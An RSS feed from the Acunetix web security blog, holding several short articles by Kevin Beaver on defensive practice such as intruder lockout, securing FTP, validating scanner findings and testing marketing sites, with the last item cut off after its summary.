<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Acunetix Web Application Security Blog &#187; articles</title>
	<atom:link href="http://www.acunetix.com/blog/category/web-security-zone/articles/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.acunetix.com/blog</link>
	<description>Acunetix Web Application Security Blog</description>
	<lastBuildDate>Thu, 02 Feb 2012 15:03:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>There’s more to Web security than meets the eye</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/theres-more-to-web-security-than-meets-the-eye/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/theres-more-to-web-security-than-meets-the-eye/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 15:03:23 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[application security risk]]></category>
		<category><![CDATA[compliance regulations]]></category>
		<category><![CDATA[kevin beaver]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=5004</guid>
		<description><![CDATA[When we talk about Web security, we typically think about the common OWASP-type elements: SQL injection, cross-site scripting, passwords, encryption and the like. That’s fine but those areas can’t be our only focus. There’s so ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft  wp-image-5019" title="How complex is a web application security" src="http://www.acunetix.com/blog/wp-content/uploads/2012/02/how-complex-is-a-web-application-security1-300x252.jpg" alt="The complexity of a web application security" width="192" height="162" />When we talk about Web security, we typically think about the common OWASP-type elements: SQL injection, cross-site scripting, passwords, encryption and the like. That’s fine but those areas can’t be our only focus. There’s so much more to managing information risks that’s often overlooked.</p>
<p>Ask any information security manager or compliance officer and they’ll likely tell you that Web application security falls under the overall information risk umbrella. Along with network infrastructure security, endpoint security, physical security and so on; Web application security is a critical piece of the overall puzzle.</p>
<p>Looking at the big compliance regulations such as PCI DSS, HIPAA/HITECH and GLBA, they all cover information security best practices including:</p>
<ul>
<li>Policies</li>
<li>Awareness and training</li>
<li>Authentication</li>
<li>Access controls</li>
<li>System monitoring and activity review</li>
<li>Incident response</li>
<li>Disaster recovery</li>
</ul>
<p>The same can goes for information security standards such as ISO/IEC 27002, NIST 800-53, etc.</p>
<p>Interestingly though, when it comes to Web application security, we often stop at the application-centric issues. We find and fix the SQL injection, cross-site scripting and other technical flaws and assume that’s all that’s needed for true Web application security. The reality is these other information security best practices – the non-sexy stuff like policies, audit logging and incident response – can be tied <em>directly</em> to Web application security.</p>
<p>Web application security shouldn’t stop prematurely with the technical issues. No business can afford to take that on. It’s up to us as IT, security and software development professionals to ensure Web application security is addressed at <em>all</em> levels.</p>
<p><em>Does your business have security policies?<br />
If so, ensure your Web applications fall within their scope.</em></p>
<p><em>Do you use identity and access management processes and technologies?<br />
If so, ensure your Web applications fall within their scope.</em></p>
<p><em>Does your business have security incident response and disaster recovery plans?<br />
If so, ensure your Web applications fall within their scope.</em></p>
<p>Don’t manage information security risks in silos. That’s not a good long-term strategy. It’s not good for you, your business or anything related to what we do in IT.</p>
<p>Web applications are arguably one of the highest-risk components of any information security program and need to be handled accordingly. Make Web application security a big deal in your business…It is.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/theres-more-to-web-security-than-meets-the-eye/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>To validate or not, is that the question?</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/to-validate-or-not-is-that-the-question/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/to-validate-or-not-is-that-the-question/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 14:08:40 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[automated validation]]></category>
		<category><![CDATA[manual validation]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[validate security flaws]]></category>
		<category><![CDATA[vulnerability testing]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[web server security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4947</guid>
		<description><![CDATA[Recently, a project manager I work with asked me if I had manually validated a set of security flaws I uncovered during a web security assessment. The flaws in question were related to the server ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft  wp-image-4958" title="How to validate security flaws" src="http://www.acunetix.com/blog/wp-content/uploads/2012/01/To-validate-or-not-is-that-the-question2-300x163.jpg" alt="To validate or not, is that the question" width="270" height="147" />Recently, a project manager I work with asked me if I had manually validated a set of security flaws I uncovered during a <span style="color: #ff0000;"><a title="A complete guide to securing a website; a proper web security penetration test" href="http://www.acunetix.com/websitesecurity/website-auditing-wp.htm"><span style="color: #ff0000;">web security assessment</span></a></span>. The flaws in question were related to the server host and not the actual Web application. I actually had <em>not</em> manually validated every single finding in that regard. I paused to think about it and understood why he asked. The scope of the assessment stated we’d <span style="text-decoration: underline;">use automated tools</span> <em>and</em> <span style="text-decoration: underline;">perform manual analysis</span> of the hosts and applications we were testing. During discussions with the client it became clear to him that I had not manually validated every single flaw – hence his question.</p>
<p>Let me explain why I didn&#8217;t validate everything. When you’re testing IP-based hosts, you often don’t need to manually validate every single finding &#8211; only occasionally. However, with Web applications, you need to validate just about everything to ensure you’re not documenting problems and solutions for issues that don’t even exist. I told the project manager that for an SSL certification flaw I uncovered, the scanner is providing the same information I&#8217;d be able to get via any other means. Ditto with a flaw that uncovered an outdated version of the server’s operating system.</p>
<p>Another flaw was regarding the internal IP address being exposed on the server. The project manager was specifically interested in that finding. I told him that the internal IP address uncovered was right before us in the scanner results. Although there may be some circumstances that warrant it, I&#8217;ve never found a need to manually validate this specific vulnerability. In fact, this one could be next to impossible unless you&#8217;re on the internal network, but that&#8217;s a different discussion. Either way, if the scanner finds an internal IP address, it finds an internal IP address. There&#8217;s no other explanation for how a scanner could come up with a random internal IP address that happens to match an internal IP addressing scheme (that I happened to know of) otherwise.</p>
<p>Be it a <span style="color: #ff0000;"><a title="Acunetix Web  Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/"><span style="color: #ff0000;">web vulnerability scanner</span></a></span> or <span style="color: #ff0000;"><a title="Advanced web security penetration  testing tools" href="http://www.acunetix.com/vulnerability-scanner/penetration-testing.htm"><span style="color: #ff0000;">advanced penetration testing tools</span></a></span> you use manually, you need reliable means to ferret out such information, especially if it&#8217;s to be reliable and accurate. But in most cases, based on my experience, you&#8217;re not going to have to double-check every single finding of a server host in this regard.</p>
<p>Keep in mind that not every flaw is the same. Some require true validation and some won&#8217;t even be found using automated tools. Testing for security vulnerabilities is as much of an art as it is a science and experience using the tools, knowing what to expect from them, deciphering their results <em>and</em> knowing what else to look for is critical. That still doesn&#8217;t mean we&#8217;ll find it all&#8230;there&#8217;s no way to guarantee that. As with radiologists and home inspectors, there are just too many variables and unknowns involved.</p>
<p>Regardless, Web application or IP-based host, if I, based on my knowledge and experience, believe something needs further manual analysis then I&#8217;ll do it. If not, I&#8217;ll leave it be and document it as such. Once you&#8217;re comfortable doing so, I recommend you do the same.</p>
<p>Interestingly, it ended up being that the client’s questions weren’t about whether or not I actually validated each and every finding, but rather whether or not the hosts I listed in the report were indeed affected. There&#8217;s a difference. Make sure you keep all of this in mind and everyone is on the same page as you move forward with your security testing. <span style="color: #ff0000;"><a href="../../../../../web-security-zone/articles/properly-scoping-web-security-assessments/"><span style="color: #ff0000;">Proper scoping and advance planning</span></a></span> are half the battle.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/to-validate-or-not-is-that-the-question/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The critical Web-based systems that are going untested and unsecured</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/critical-web-based-systems-untested-unsecured/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/critical-web-based-systems-untested-unsecured/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 13:51:57 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[vulnerability testing]]></category>
		<category><![CDATA[web application security testing]]></category>
		<category><![CDATA[web application vulnerability]]></category>
		<category><![CDATA[web server security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4920</guid>
		<description><![CDATA[I recently participated in a webinar aimed at helping physical security professionals, corporate security managers and others responsible for both physical and logical security. This is an area of security that doesn’t get near the ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-4939" title="unsecure" src="http://www.acunetix.com/blog/wp-content/uploads/2012/01/unsecure.gif" alt="" width="159" height="176" />I recently participated in a webinar aimed at helping physical security professionals, corporate security managers and others responsible for both physical and logical security. This is an area of security that doesn’t get near the attention it deserves – especially when it comes to the Web security component.</p>
<p><span id="more-4920"></span></p>
<p>Look at any given physical security-related video or access control system and the technology is amazing. From high-definition to DVR storage to remote access, you can literally control your physical security systems from a simple Web browser or even a mobile app. The problem is these systems are getting lost in the information systems complexity present in the average enterprise. But they’re no different than any other Web-based system – the potential for <a title="Web application vulnerabilities" href="http://www.acunetix.com/support/vulnerability-checks.htm">Web related vulnerabilities</a> is endless. All it takes is a rogue insider or, in certain cases, an external attacker to compromise the essence of your organization’s physical security.</p>
<p>There’s a bit of irony in it all.</p>
<p>When performing my information security assessments, any given video management or access control system is chock full of Web flaws such as <a title="Cross-site scripting web vulnerability" href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm">cross-site scripting</a>, cross-site request forgery and so on. There are also more general flaws such as default passwords, no SSL, no audit logging or alerts enabled – no <em>nothing</em> related to application security. To top it all off, these systems are rarely, if ever, patched. Typically a systems integrator installs the physical security systems with <em>zero</em> security in mind and the systems stay that way with no one monitoring them, no one maintaining them…there’s no accountability.</p>
<p>Anyone with ill intent has free reign to watch (and control) internal video cameras, cover their tracks by deleting logs and actual video files, setup backdoor accounts and so on – <a href="http://www.securityinfowatch.com/root+level/1301148" target="_blank">all the things that bad guys do</a>.</p>
<p>Indeed, we have a long road ahead of us in securing physical security-related video and access control systems. I strongly believe that unless and until these systems are included in the scope of <a title="Acunetix Web Vulnerability Scanner - Web application security testing" href="http://www.acunetix.com/vulnerability-scanner/">Web security testing</a>, businesses, government agencies and everyone in between will continue to have these critical security flaws flying under the radar.</p>
<p>Like with any other computer system, if it has a URL or an IP address, it’s fair game for attack. Give these systems the attention they deserve.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/critical-web-based-systems-untested-unsecured/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Securing FTP Running on Your Web Server</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/protecting-ftp-web-server/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/protecting-ftp-web-server/#comments</comments>
		<pubDate>Fri, 23 Dec 2011 12:39:11 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[ftp exploit]]></category>
		<category><![CDATA[ftp hack]]></category>
		<category><![CDATA[ftp vulnerability]]></category>
		<category><![CDATA[ftp web server]]></category>
		<category><![CDATA[secure ftp]]></category>
		<category><![CDATA[web secure]]></category>
		<category><![CDATA[web vulnerability]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4918</guid>
		<description><![CDATA[I’ve had several questions from clients recently on how they can to secure FTP running on their web servers. The easy and short-sighted response would be “Are you nuts? You need to run FTP on ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/12/secure-ftp.png"><img class="alignleft size-full wp-image-4924" title="Securing FTP" src="http://www.acunetix.com/blog/wp-content/uploads/2011/12/secure-ftp.png" alt="Securing FTP" width="141" height="141" /></a>I’ve had several questions from clients recently on how they can to secure FTP running on their web servers. The easy and short-sighted response would be “<em>Are you nuts? You need to run</em> <em>FTP on a dedicated server!</em>” However, looking at it from a business perspective considering things like money, politics, business process and third-party system architectures – it’s not that simple of a fix.<br />
<span id="more-4918"></span><br />
Best practice or not, FTP is often running on web servers and it’s certainly something worth poking and prodding for additional security flaws. I often see outdated FTP software and anonymous access enabled to the outside – both of which can be exploited for ill-gotten gains potentially exposing the entire web server to <a title="Web hacking: An underestimated threat" href="http://www.acunetix.com/websitesecurity/web-hacking.htm">web hacking</a> and public exposure. The biggest risk to me, though, is weak FTP passwords waiting to be uncovered by dictionary or brute-force password <a title="Authentication Hacking Attacks" href="http://www.acunetix.com/websitesecurity/authentication.htm">authentication attacks</a>. This is an attack that can go unnoticed indefinitely and put critical business information at risk – especially if <a title="Why You Need Intruder Lockout" href="http://www.acunetix.com/blog/web-security-zone/articles/why-intruder-lockout/">intruder lockout is not enabled</a> which is usually the case.</p>
<p>Many of my clients use third-party managed firewalls and <a title="Intrusion Detection and Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/intrusion_detection.htm">intrusion detection</a> and are typically alerted to such attacks against FTP. Yet still, any login hacking attempt can make you nervous especially knowing that manual cracking is likely to fly under the radar of these controls. So the question becomes, is there anything you can do to be more proactive and prevent FTP password-cracking attempts from occurring in the first place?</p>
<p>The ultimate control is to remove FTP from public access but that’s often not a reasonable option. Managed firewall and IPS is another great option. Ditto with any in-house firewall/IPS you may have. Changing the default FTP ports can help prevent automated attacks. This will provide minimal value and may end up being more trouble than it’s worth but it’s an option nonetheless. Otherwise, the best you can do is ensure that complex passwords are in place and enforced and intruder lockout is enabled on the FTP server.</p>
<p>All of this starts with knowing how your Web/FTP servers are currently at risk. Running a simple <a href="../../../../../../vulnerability-scanner/port-scanner.htm">port scan of your external-facing systems</a> can uncover FTP that you may not have known about – or have forgotten about. I recommend going a step beyond that running a good vulnerability scanner of the host itself to see what FTP-centric flaws it uncovers. In the end, you’ve got to look at your Web servers from every angle. All it takes is one seemingly benign weakness to undermine everything you’ve worked so hard to harden and protect.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/protecting-ftp-web-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Good Web Security Tools and Why They Matter</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/why-security-tools-matter/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/why-security-tools-matter/#comments</comments>
		<pubDate>Wed, 14 Dec 2011 14:31:57 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[security assessment]]></category>
		<category><![CDATA[security audit]]></category>
		<category><![CDATA[security vulnerability]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[web vulnerability scanner]]></category>
		<category><![CDATA[website vulnerability]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4768</guid>
		<description><![CDATA[Like chemists, carpenters and doctors, those of us working in IT need good tools if we’re expected to do a good job. When dealing with application security, good security testing tools will always set the ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-4906" title="Web Security Tools" src="http://www.acunetix.com/blog/wp-content/uploads/2011/12/security-tools.jpg" alt="Web Security Tools" width="300" height="176" />Like chemists, carpenters and doctors, those of us working in IT need good tools if we’re expected to do a good job. When dealing with application security, good security testing tools will always set the professionals apart from the amateurs. In fact, the quality of your tools for performing a <a title="Perform a site audit with Acunetix website auditing tools" href="http://www.acunetix.com/site-audit/index.htm">site security audit</a> will have a direct impact on the number of vulnerabilities you discover and the overall success of your testing.<br />
<span id="more-4768"></span><br />
Many have argued – myself included – that you cannot rely on tools alone to find all <a title="See which Vulnerabilities Acunetix Web Vulnerability Scanner checks for" href="http://www.acunetix.com/support/vulnerability-checks.htm">security vulnerabilities</a>. This is absolutely correct. In all but the most basic security checks, you have to rely on experience and technical knowledge to root out the less-than-obvious vulnerabilities that <a title="The Role and Function of Black Box Scanners" href="http://www.acunetix.com/websitesecurity/blackbox-scanners.htm">blackbox scanners</a> simply cannot find. That said manual testing alone is just too time consuming, limited and, for many, downright difficult. <a title="A complete guide to securing a website" href="http://www.acunetix.com/websitesecurity/website-auditing-wp.htm">A good balance of tools and manual analysis is needed</a>.</p>
<p>The major issue here is that selecting ineffective security testing tools can be a costly venture. I’ve burned thousands of dollars and countless hours on tools that seemed like a good fit based on their tricked out websites and fancy marketing slicks. But talk is cheap so buyer beware. You have to take these tools for a spin to see if they’re going to be a good fit based on YOUR style inside YOUR environment, and based on YOUR business needs.</p>
<p>Whether you’re doing the actual work or just want to make sure your IT and security staff members are using what’s best for the organization, the simple truth is that good <a title="Is your website hackable? Do a web security audit with Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/security-audit/">security audit</a> tools <em>can </em>and<em> will</em> make a difference. Always remember that there is no one best tool but if you’re smart about your approach you shouldn’t have to spend a lot of money to get the job done right. If you invest a relatively small amount time researching, asking prospective vendors tough questions and actually trying the tools before you buy them, then you can’t lose.</p>
<p>When you choose and use good tools, you’ll know it. Amazingly, you’ll minimize your time and effort installing them, running your tests, reporting your results – everything from start to finish. Most importantly, with a good <a title="Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">web vulnerability scanner</a> you’ll be able to maximize the number of legitimate vulnerabilities discovered to help reduce the risks associated with your information systems. At the end of the day and over the long haul, this will add up to considerable business value you can’t afford to overlook.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/why-security-tools-matter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why You Need Intruder Lockout</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/why-intruder-lockout/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/why-intruder-lockout/#comments</comments>
		<pubDate>Thu, 01 Dec 2011 16:11:24 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[authentication security]]></category>
		<category><![CDATA[http login]]></category>
		<category><![CDATA[intruder lockout]]></category>
		<category><![CDATA[login security]]></category>
		<category><![CDATA[user authentication]]></category>
		<category><![CDATA[user login]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[web server security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4628</guid>
		<description><![CDATA[It’s a very predictable web security flaw &#8212; in fact, it’s something I find in the majority of my web security assessments: the lack of intruder lockout on login pages. I know, with all the ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-4884" title="anti-intrusion" src="http://www.acunetix.com/blog/wp-content/uploads/2011/12/anti-intrusion.jpg" alt="" width="200" height="150" />It’s a very predictable web security flaw &#8212; in fact, it’s something I find in the majority of my web security assessments: the lack of intruder lockout on login pages. I know, with all the <a title="SQL Injection" href="http://www.acunetix.com/websitesecurity/sql-injection2.htm">SQL injection</a> and <a title="Cross Site Scripting" href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm">cross-site scripting</a> present on the web, the lack of intruder lockout on web login pages seems a bit trite. Given what this vulnerability can lead to, I believe it deserves more attention.<br />
<span id="more-4628"></span><br />
Keep in mind that I typically classify the lack of intruder lockout on login pages as a “medium” priority issue. You’re not bleeding at the moment but &#8212; instead &#8212; several things have to fall into place for the attack to lead to something bad; including accounts with weak passwords and lack of system monitoring and alerting. There are so many web security variables at play here. In many cases, the different controls need to work in conjunction with one another – especially as it relates to protecting the login mechanism.</p>
<p>So what’s the ideal setup for intruder lockout? Well, every situation is different and every business has its own unique needs. That said, I often recommend locking accounts for certain period of time (i.e. 5-10 minutes) after 5-10 failed login attempts. You may also use some form of automated password reset logic in conjunction with this process. Even something like tarpitting failed login attempts (i.e. purposefully slowing them down) can be beneficial as long as the delay is reasonable or the accounts are eventually locked.</p>
<p>Enabling intruder lockout is a relatively simple fix given what’s at stake. Whether you’ve got basic HTTP, forms, or some type of multi-factor authentication, keeping track of login abuse can have great payoffs &#8212; especially given <a title="Statistics from 10,000 leaked Hotmail passwords" href="http://www.acunetix.com/blog/news/statistics-from-10000-leaked-hotmail-passwords/">the bad choices people make regarding passwords</a>. Granted, intruder lockout could have the reverse effect on security. If you’ve got an attacker with a set of legitimate user accounts (often email addresses which can be relatively easy to obtain), then he could conceivably attack accounts via login pages that have intruder lockout enabled and effectively create a denial of service situation. You’ve got to determine what the greater risk is – password cracking or potential denial of service.</p>
<p>In many situations, intruder lockout on web login pages can eliminate a considerable amount of risk – especially in situations where you offer a SaaS/cloud solution and you’re not at liberty to control the enforcement of certain things like password complexity. Do what you can to set your users up for success. Even if they choose to use weak passwords, intruder lockout will at least help minimize the risk of successful password cracking.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/why-intruder-lockout/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Don&#8217;t Forget Your Marketing Website Security</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/marketing-website-security/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/marketing-website-security/#comments</comments>
		<pubDate>Wed, 09 Nov 2011 15:37:41 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[application security]]></category>
		<category><![CDATA[vulnerability scan]]></category>
		<category><![CDATA[website security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4515</guid>
		<description><![CDATA[I recently read about a marketing agency that experienced a security breach and subsequent defacement of its customers’ websites. Apparently their developers had misconfigured the web server and unknowingly gave the whole world access to ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/11/marketing-website-security.jpg"><img class="alignleft size-thumbnail wp-image-4588" title="marketing-website-security" src="http://www.acunetix.com/blog/wp-content/uploads/2011/11/marketing-website-security-150x150.jpg" alt="" width="150" height="150" /></a>I recently read about a marketing agency that experienced a security breach and subsequent defacement of its customers’ websites. Apparently their developers had misconfigured the web server and unknowingly gave the whole world access to change any and all content at will. What interested me the most was the fact that out of the hundreds of businesses affected not a single one had apparently bothered to <a title="Test the security of your website with Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">test the security of the website</a>.<br />
<span id="more-4515"></span><br />
I can hear it now – and I’ve heard it a thousand times before – from marketing managers to developers to network admins: <em>We don’t need to test our marketing site…it’s just a marketing site. </em>This dangerous mindset and scenario are present in a large number of businesses today. What people making such decisions don’t realize – as was experienced by the previously mentioned defacement victims – is that their business’ reputations are on the line. Everything from banks to system integrators to manufacturing companies that were/are impacted by such breaches now have to determine how they’re going to explain what happened.</p>
<p>Do the victims just say: &#8220;<em>Well, management decided that it was just our marketing site that didn’t have anything the bad guys would want so we decided not to test it for security flaws</em>…&#8221;?</p>
<p>Perhaps they could go on to say: &#8220;<em>We understand that such a breach makes us look unprofessional and come across like we don’t take our IT or the reputation of our business very seriously. And we know a simple and relatively inexpensive <a title="Acunetix Web Security Scanner" href="http://www.acunetix.com/">web security scanner</a> could’ve uncovered the flaw that led to this situation, but we just couldn’t make the business case for it…&#8221;?</em></p>
<p>Seriously, folks?</p>
<p>Shame on the marketers and hosting providers as well for not doing even the most rudimentary <a title="Web Application Security - Audit Your Site For Web Application Security Vulnerabilities" href="http://www.acunetix.com/websitesecurity/webapp-security.htm">web application security testing</a>. As I’ve written in the past, <a href="http://securityonwheels.blogspot.com/search/label/automated%20scanner%20oversights" target="_blank">I don’t recommend relying on vulnerability scans alone</a>, but they’re certainly a very good start!</p>
<p>Ignoring this glaringly obvious elephant in the room is just inexcusable. I know, that’s easy for me to say being on this side of the equation. But not being able to justify even a simple scan of your marketing site using free or inexpensive tools that anyone with any level of computer experience can run? I don’t get it.</p>
<p>If you’re reading this blog, this is probably a non-issue. Just make sure you’re scoping your ongoing assessments to look at your marketing site and any associated content management system at least once or twice a year. You may be surprised what turns up. Beyond that, we can all work together and encourage other business owners, friends and family members who aren’t IT savvy to test for the <a title="low hanging fruit web security" href="http://www.acunetix.com/blog/web-security-zone/articles/verizon-data-breach/">low-hanging fruit</a> – <em>even on their marketing sites</em>. We’ll all benefit in the long term.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/marketing-website-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why people violate security policies</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/why-violate-security-policies/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/why-violate-security-policies/#comments</comments>
		<pubDate>Wed, 02 Nov 2011 14:30:59 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[security policy]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[website security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4421</guid>
		<description><![CDATA[Many organizations have a formal set of information security policies covering everything from acceptable internet usage to security in software development to web application security. In fact, it’s hard to come across a business today ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/11/policy.jpg"><img class="alignleft size-medium wp-image-4520" title="OLYMPUS DIGITAL CAMERA" src="http://www.acunetix.com/blog/wp-content/uploads/2011/11/policy-196x300.jpg" alt="" width="196" height="300" /></a>Many organizations have a formal set of information security policies covering everything from acceptable internet usage to security in software development to <a title="Web Application Security" href="http://www.acunetix.com/websitesecurity/webapp-security.htm">web application security</a>. In fact, it’s hard to come across a business today that doesn’t have at least a policy or two in place. That’s fine and dandy but it’s not the existence of policies that determines the level of information risk, but it’s whether or not your users are actually <em>complying</em> with those policies.<br />
<span id="more-4421"></span><br />
A business can have the best-defined and articulate security policies in place that everyone is familiar with but that means very little in the grand scheme of things. As with laws and regulations, people are going to abide by them by default. The following are reasons why users violate security policies:<strong></strong></p>
<p><strong>Users don&#8217;t appreciate the business reasons behind the policies</strong><br />
Simply telling people what they cannot do is like telling a four year old to stop playing with her food. You have to explain the reasons <em>why</em> policies exist and why it’s everyone’s job to adhere to them. In certain cases users aren’t even aware that certain policies exist, so without adequate training one can’t expect users to follow a set of rules to which I haven&#8217;t been initiated.</p>
<p><strong>Users don&#8217;t buy into the policies</strong><br />
Even if you’ve laid out good reasons for your policies to exist, users may still disagree. They may not see the point of such nonsense, especially when they have the perception that they know what’s best.</p>
<p><strong>Users know the policies won&#8217;t be enforced</strong><br />
Like speed limit and seat belt laws, people know that they’ll be able to get away with policy violations because there’s no possible way for IT and information staff to possibly monitor for and catch everything. Network complexity contributes to this problem and users are often correct – policies are indeed often suggestions with no real teeth. That still doesn’t mean you shouldn’t have the proper technologies in place to actually enforce your policies. You won’t catch everything but at least you can set your users up for success by using technology to your advantage where possible and reasonable.</p>
<p><strong>Users are lazy</strong><br />
The &#8216;<em>Must have it now!&#8217;</em> human desire for instant gratification is very powerful. People don’t want to take the time to do things right nor have the desire to jump through a bunch of hoops getting in their way of doing their jobs. The offending attitude is “maybe I’ll adhere to it like I’m supposed to next time…”</p>
<p><strong>Users&#8217; desire to violate policies outweighs their perception of the risks involved<br />
</strong>Building on the laziness factor, users haven’t really thought about the consequences of their choices or assume that one bad decision every now and then won’t hurt. This mentality can spell disaster for the business. It’s up to you to convey why their risky behavior is bad for everyone.</p>
<p>Like the Art of War concept of “knowing your enemy”, understanding the basis for security policy violations is extremely important if you’re going to do something about it and (finally) fill the gap that’s too often overlooked in business today. Continuing to ignore the problem – or assuming that it’s a “management issue” will only prolong your <a title="Web Security" href="http://www.acunetix.com/websitesecurity/web-security.htm">web security </a>woes.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/why-violate-security-policies/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Not All Web Vulnerability Scans Are Created Equal</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/not-all-web-scans-are-equal/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/not-all-web-scans-are-equal/#comments</comments>
		<pubDate>Thu, 27 Oct 2011 14:10:37 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[security vulnerability]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[web vulnerability scanner]]></category>
		<category><![CDATA[website vulnerability]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4387</guid>
		<description><![CDATA[Recently a client of mine sent over the results of a web vulnerability scan that one of their customers had run against their production web environment. My client was curious why the results of this ...]]></description>
